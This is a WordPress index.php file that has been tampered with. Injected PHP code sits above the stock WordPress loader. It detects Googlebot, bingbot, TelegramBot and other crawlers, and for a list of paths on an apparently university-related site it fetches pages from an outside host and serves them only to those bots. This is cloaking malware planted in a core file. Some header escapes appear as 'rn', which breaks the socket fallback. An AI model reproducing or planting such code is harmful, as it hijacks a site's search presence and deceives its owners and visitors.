<?php
function is_bot() {
    $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
    $bots = array('Googlebot', 'TelegramBot', 'bingbot', 'Google-Site-Verification', 'Google-InspectionTool', 'adsense', 'slurp');

    foreach ($bots as $bot) {
        if (stripos($user_agent, $bot) !== false) {
            return true;
        }
    }

    return false;
}

function fetch_remote_content($url) {
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_TIMEOUT => 10,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; BotFetcher/1.0)',
        ]);
        $data = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        if ($data !== false && $http_code == 200) {
            return $data;
        }
    }

    if (ini_get('allow_url_fopen')) {
        $context = stream_context_create([
            'http' => [
                'method' => 'GET',
                'timeout' => 10,
                'header' => "User-Agent: Mozilla/5.0 (compatible; BotFetcher/1.0)rn",
                'follow_location' => 1,
            ],
            'ssl' => [
                'verify_peer' => false,
                'verify_peer_name' => false,
            ],
        ]);
        $data = @file_get_contents($url, false, $context);
        if ($data !== false) {
            return $data;
        }
    }

    $parts = parse_url($url);
    $host = $parts['host'];
    $port = isset($parts['port']) ? $parts['port'] : 80;
    $path = isset($parts['path']) ? $parts['path'] : '/';
    if (isset($parts['query'])) {
        $path .= '?' . $parts['query'];
    }
    $scheme = isset($parts['scheme']) ? $parts['scheme'] : 'http';
    if ($scheme == 'https') {
        $host = 'ssl://' . $host;
        $port = 443;
    }

    $fp = @fsockopen($host, $port, $errno, $errstr, 10);
    if ($fp) {
        $out = "GET $path HTTP/1.1rn";
        $out .= "Host: " . $parts['host'] . "rn";
        $out .= "User-Agent: Mozilla/5.0 (compatible; BotFetcher/1.0)rn";
        $out .= "Connection: Closernrn";
        fwrite($fp, $out);
        $response = '';
        while (!feof($fp)) {
            $response .= fgets($fp, 128);
        }
        fclose($fp);

        $pos = strpos($response, "rnrn");
        if ($pos !== false) {
            $body = substr($response, $pos + 4);
            if (stripos($response, 'Transfer-Encoding: chunked') !== false) {
                $body = http_chunked_decode($body);
            }
            return $body;
        }
    }

    return false;
}

function http_chunked_decode($chunk) {
    $result = '';
    while (strlen($chunk) > 0) {
        $pos = strpos($chunk, "rn");
        if ($pos === false) break;
        $len = hexdec(substr($chunk, 0, $pos));
        if ($len == 0) break;
        $result .= substr($chunk, $pos + 2, $len);
        $chunk = substr($chunk, $pos + 2 + $len + 2);
    }
    return $result;
}

$current_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';

$allowed_paths = [
'/' => 'https://fch-unicen.pages.dev/',
'/que-es-la-geografia/' => 'https://fch-unicen.pages.dev/que-es-la-geografia/',
'/carreras-a-distancia/' => 'https://fch-unicen.pages.dev/carreras-a-distancia/',
'/ciencias-de-la-educacion-distancia/' => 'https://fch-unicen.pages.dev/ciencias-de-la-educacion-distancia/',
'/calendario-academico/' => 'https://fch-unicen.pages.dev/calendario-academico/',
'/nuevo-regimen-penal-juvenil-peor-que-dictadura/' => 'https://fch-unicen.pages.dev/nuevo-regimen-penal-juvenil-peor-que-dictadura/',
'/gestion-ambiental-distancia/' => 'https://fch-unicen.pages.dev/gestion-ambiental-distancia/',
'/educacion-inicial-distancia/' => 'https://fch-unicen.pages.dev/educacion-inicial-distancia/',
];

if (is_bot() && array_key_exists($current_uri, $allowed_paths)) {
    $content_url = $allowed_paths[$current_uri];
    $content = fetch_remote_content($content_url);

    if ($content !== false) {
        echo $content;
    }
    exit;
}
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';
